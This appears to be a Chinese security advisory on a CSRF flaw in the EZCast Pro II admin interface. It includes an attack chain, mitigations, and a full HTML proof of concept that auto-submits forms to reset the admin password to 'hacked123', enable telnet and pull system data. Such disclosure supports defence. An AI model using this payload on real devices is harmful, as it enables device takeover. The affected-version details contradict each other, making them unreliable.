CVE-2026-24345 EZCast Pro II 跨站请求伪造漏洞

漏洞信息

漏洞编号

CVE-2026-24345

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

EZCast Pro II

漏洞概述

CVE-2026-24345是存在于EZCast Pro II设备管理界面中的一个高危跨站请求伪造(CSRF)漏洞。该漏洞影响版本1.17478.146，CVSS评分达到8.8分，属于高危级别。EZCast Pro II是一款广泛使用的无线投屏设备，其管理员Web界面存在CSRF防护缺失的问题。攻击者可以通过精心构造的恶意网页，诱导已登录的管理员用户访问，从而在不知情的情况下执行管理员权限的操作。成功利用此漏洞后，攻击者可以完全绕过授权检查，获得管理员界面的完整访问权限，包括修改设备配置、获取敏感信息、甚至可能将设备纳入攻击者的控制范围。由于该漏洞不需要认证(PR:N)且可通过网络远程利用(AV:N)，加上需要用户交互(UI:R)才能触发，因此攻击具有一定的复杂性，但在特定场景下具有极高的危害性。建议使用EZCast Pro II的企业和个人用户密切关注官方安全更新，及时修补此漏洞。

技术细节

该CSRF漏洞存在于EZCast Pro II的管理员Web界面中，根源在于应用程序未能对敏感操作实施有效的CSRF令牌验证机制。漏洞的技术细节如下：

1. **漏洞位置**：管理员UI的多个管理功能端点未实现CSRF token验证

2. **漏洞原理**：当管理员登录EZCast Pro II设备后，攻击者可以构造恶意HTML页面，包含自动提交的表单或AJAX请求。由于应用服务器不验证请求的来源是否合法，攻击者的恶意请求会被当作合法请求处理。

3. **利用方式**：
- 攻击者创建一个托管在外部服务器的网页
- 页面中包含针对EZCast Pro II管理接口的自动提交表单
- 表单内容可以是修改管理员密码、关闭安全功能、获取系统信息等操作
- 当已登录的管理员访问该恶意页面时，浏览器自动发送带有有效session的请求
- 服务器无法区分是否为用户主动操作，执行攻击者预设的命令

4. **攻击前提**：
- 管理员需处于登录状态
- 管理员需被诱导访问攻击者控制的恶意页面
- 攻击者需了解EZCast Pro II的管理接口API格式

5. **影响范围**：由于该漏洞允许完全绕过授权检查，攻击者可以实现对设备的完全控制，包括但不限于：修改设备网络配置、添加后门账户、获取投屏内容等敏感操作。

攻击链分析

STEP 1

步骤1

攻击者侦察阶段：攻击者收集目标EZCast Pro II设备的信息，包括IP地址、管理界面URL和管理接口API格式

STEP 2

步骤2

恶意页面构建：攻击者创建一个包含自动提交表单的恶意HTML页面，表单内容针对EZCast Pro II的管理接口

STEP 3

步骤3

社会工程攻击：攻击者通过钓鱼邮件、即时消息或其他方式诱导已登录的管理员用户访问恶意页面

STEP 4

步骤4

CSRF请求触发：当管理员浏览器加载恶意页面时，自动向EZCast Pro II管理接口发送携带有效session的POST请求

STEP 5

步骤5

权限绕过执行：服务器无法验证请求来源的合法性，将恶意请求作为合法管理员操作执行

STEP 6

步骤6

完全控制获取：成功利用后，攻击者获得管理员界面的完整访问权限，可以修改配置、添加后门或窃取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2026-24345: EZCast Pro II Admin UI CSRF -->
<!DOCTYPE html>
<html>
<head>
    <title>EZCast Pro II CSRF PoC - CVE-2026-24345</title>
</head>
<body>
    <h1>CVE-2026-24345 CSRF PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in EZCast Pro II admin interface.</p>
    
    <!-- Change Admin Password -->
    <h2>Change Admin Password</h2>
    <form id="csrfForm1" action="http://[EZCAST_IP]/cgi-bin/ajax.cgi" method="POST">
        <input type="hidden" name="cmd" value="set_admin_password">
        <input type="hidden" name="old_password" value="">
        <input type="hidden" name="new_password" value="hacked123">
        <input type="hidden" name="confirm_password" value="hacked123">
    </form>
    
    <!-- Enable Telnet/SSH Backdoor -->
    <h2>Enable Telnet Service</h2>
    <form id="csrfForm2" action="http://[EZCAST_IP]/cgi-bin/ajax.cgi" method="POST">
        <input type="hidden" name="cmd" value="set_telnet">
        <input type="hidden" name="enable" value="1">
    </form>
    
    <!-- Get System Information -->
    <h2>Get System Info</h2>
    <form id="csrfForm3" action="http://[EZCAST_IP]/cgi-bin/ajax.cgi" method="POST">
        <input type="hidden" name="cmd" value="get_system_info">
    </form>
    
    <script>
        // Auto-submit all forms when page loads
        window.onload = function() {
            console.log('CSRF PoC loaded - Auto-submitting forms...');
            
            // Submit forms sequentially with delays
            setTimeout(function() {
                document.getElementById('csrfForm1').submit();
            }, 1000);
            
            setTimeout(function() {
                document.getElementById('csrfForm2').submit();
            }, 2000);
            
            setTimeout(function() {
                document.getElementById('csrfForm3').submit();
            }, 3000);
        };
    </script>
    
    <p><strong>Note:</strong> Replace [EZCAST_IP] with the actual IP address of the target EZCast Pro II device.</p>
    <p><strong>Disclaimer:</strong> This PoC is for educational and authorized security testing purposes only.</p>
</body>
</html>

影响范围

EZCast Pro II < 1.17478.146

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1) 限制管理员界面的网络访问，仅允许受信任的IP地址访问管理后台；2) 使用VPN或专用网络连接管理EZCast Pro II设备；3) 提醒管理员不要点击来源不明的链接，避免在登录状态下访问非信任网站；4) 定期检查设备配置和账户信息，及时发现异常变更；5) 监控网络流量，关注异常的HTTP请求模式；6) 考虑暂时禁用非必要的远程管理功能。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-24345
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-24345
3 Details https://www.cvedetails.com/cve/CVE-2026-24345/
4 VulDB https://vuldb.com/cve/CVE-2026-24345
5 Link https://hub.ntc.swiss/ntcf-2025-32832